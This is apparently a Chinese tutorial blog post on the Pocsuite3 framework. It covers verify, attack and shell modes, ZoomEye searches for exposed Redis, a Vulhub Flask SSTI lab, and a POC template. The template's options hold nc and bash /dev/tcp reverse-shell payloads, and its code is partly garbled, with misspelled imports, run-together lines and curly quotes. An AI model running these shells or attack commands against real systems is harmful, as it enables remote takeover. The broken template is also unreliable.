Pocsuite框架

基本认知

两个基本概念

  1. POC——-> 是用来验证漏洞是否存在的一段代码;
  2. EXP———>指利用系统漏洞进行渗透。
  3. 先有POC, 后有EXP

简单来说像MSF———先检查对方是否存在漏洞,再进行漏洞利用

本身封装了一些基础的POC类以及一些常用的方法 ,我们也可以进行开发

Pocsuite 3还集成了ZoomEye、 Seebug和Ceye API

  1. ZoomEye API——-批量获取指定条件的测试目标(使用ZoomEye的Dork进行搜索)
  2. Seebug API———读取指定组件或者类型的漏洞的POC或者本地POC, 进行自动化的批量测试。
  3. Ceye———验证盲打的DNS和HTTP请求

使用方法

Pocsuite具有两种交互模式

  1. 命令行模式——-类似于我们所熟知的sqlmap的交互方式
  2. 控制台交互模式——-类似于w3af或者Metasploit的界面

图片.png

Verify验证模式 ——验证目标是否存在漏洞

简单模式 -r为脚本路径, -u为目标地址

python pocsuite.py -r pocs/test1.py(poc脚本路径) -u https://www.ms08067.com --verify

批量验证目标IP 将需要验证的所有目标IP写到一个txt文件中批量利用

python pocsuite.py -r pocs/test1.py(poc脚本路径) -f url.txt --verify

批量验证所有POC 加载文件夹下的所有poc对目标进行测试, -r为文件夹路径

python pocsuite.py -r pocs/* -u https://www.ms08067.com --verify

使用多线程 —threads表示线程数, 在多目标场景下, 可以使用该参数提高效率

python pocsuite.py -r pocs/(poc脚本路径) -u https://www.ms08067.com --verify --threads 10

使用搜索引擎 使用Zoomeye搜索引擎,搜索开放端口为6379的Redis服务

python cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2

Attack攻击模式——向目标发起有效攻击

简单模式

python pocsuite.py -r pocs/(poc脚本路径) –u https://www.ms08067.com --attack

使用shell交互式模式, 对目标进行远程控制

python pocsuite.py -r pocs/(poc脚本路径) -u http://www.ms08067.com --shell

使用自定义命令’command’, 调用外部传递参数, 进行半交互式命令执行

pocsuite -u http://ms08067.com -r pocs/(poc脚本路径) --attack --command "whoami"

POC脚本编写


Pocsuite给出了简单易懂的模板, 只需更改关键漏洞验证的代码即可

使用Pocsuite编写漏洞验证POC时, 需要按照官方模板进行编写, 对接API接口能很方便地完成POC脚本。 POC的命名形式为: “组成漏洞应用名版本号漏洞类型名称”, 然后把文件名中所有字母改成小写, 所有的符号改成下划线“_”。 文件名中不能有特殊字符和大写字母, 最后形成的文件名应该像这样

_1847_seeyon_3_1_login_info_disclosure.py

为了熟悉编写POC脚本过程,大家需要去搭建好渗透环境Vulhub
然后进入文件夹启动环境

cd ~/vulhub/flask/ssti/ (进入漏洞环境文件)

docker-compose up -d (指定运行文件后的启动命令)

docker-compose down(关闭漏洞环境,使用结束后)

列出所有运行容器 (docker-compose ps)

然后可以看出在8000端口,本人虚拟机IP (192.168.166.129)

浏览器访问 192.168.166.129:8000 访问成功

环境启动成功如图

图片.png

查看环境源代码,分析漏洞成因

图片.png

从这里可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。
我们在GET请求中传入一个任意参数,成功将模板语言传递到参数中

图片.png

编写步骤参见[https://blog.csdn.net/weixin_45873667/article/details/116461513](https://blog.csdn.net/weixin_45873667/article/details/116461513)

编写完整参见[https://blog.csdn.net/weixin_45007073/article/details/113094045](https://blog.csdn.net/weixin_45007073/article/details/113094045)

  1. 首先我们需要创建一个Python文件
  2. 然后复制粘贴固定的代码

from pocsuit3.api import Output, POCBase, register_poc, requests, logger

Output输出格式模块; POCBase基类, register_poc poc执行模块的类; logger输出错误信息模块

from pocsuit3.api import Output, get_listener_ip, get_listener_port from pocsuit3.api import REVERSE_PAYLOAD

REVERSE_PAYLOAD 反弹shell模块;

from pocsuit3.lib.utils import random_str

[

](https://blog.csdn.net/weixin_45873667/article/details/116461513)

根据漏洞信息对下面内容进行部分修改,规范信息以便于查找

class DemoPOC(POCBase): # 实现类DemoPoc,继承自POCBase vulID = ‘1.1’ # ssvid ID ,如果是提交漏洞的同时提交POC,则写成0 version = ‘1’ # 默认为1 author = [‘1’] # POC作者的名字 vulDate = ‘2021-2-2’ # 漏洞公开的时间,不明确时可以写当天 createDate = ‘2020/10/10’ # 编写POC日期 updateDate = ‘1.1’ # poc更新日期,默认和编写时间一样 references = [‘vulhub’] # 漏洞地址来源,0day不用写 name = ‘flask-poc’ # poc名称 appPowerLink = ‘flask’ # 漏洞厂商的主页地址 appName = ‘flask’ # 漏洞应用名称 appVersion = ‘flask’ # 漏洞影响版本 vulType = VUL_TYPE.CODE_EXECUTION # 漏洞类型

  1. # vultype定义了poc的种类,VUL_TYPE属于enums.py种的一个类;CODE_EXECUTION = 'Code Execution' #代码执行,此处调用了类的属性
  2. desc = '''

此处是对poc的描述,展开数组时key带入SQL语句形成SQL注入,可以添加管理员,伪装成信息泄露

    flask
'''
samples = ['96.234.71.117:80']      # 利用poc举例的一个地址,漏洞的简要描述
install_requires = []          # 测试样列,使用poc测试成功的网站。

def _options(self):
o = OrderedDict()
payload = {
“nc”: “rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p”,
“bash”: “bash -i >& /dev/tcp/{0}/{1} 0>&1”,
}
o[“command”] = OptDict(selected=”bash”, default=payload)
return o

3.然后就是最为关键的部分,即POC脚本编写与EXP脚本编写

POC脚本编写在
def _verify(self) 函数下
EXP脚本编写在
def_attack(self) 函数下

注:如果该POC没有攻击模式, 可以在_attack() 函数下加入return self._verify() , 无须再写_attack() 函数

图片.png
我不知道为什么我的代码测试没有成功

EXP脚本编写

编写完整参见[https://blog.csdn.net/weixin_45007073/article/details/113094045](https://blog.csdn.net/weixin_45007073/article/details/113094045)

图片.png

执行成功后
图片.png

总结


在实际渗透测试过程中接触到的类似漏洞验证脚本非常多, 所以在寻找和使用时会浪费大量时间。 将漏洞验证POC及EXP通过渗透测试框架整理出来再使用,便会非常方便, 提升了工作效率

对于优秀的人员自然是可以自己去写,无需这些模块来进行辅助 对于不深刻理解,没有很强大代码能力,需要辅助的情况下可以使用这种方式 大家可以到该框架中找到已有的脚本进行二次修改,尽量减轻自己的代码书写

图片.png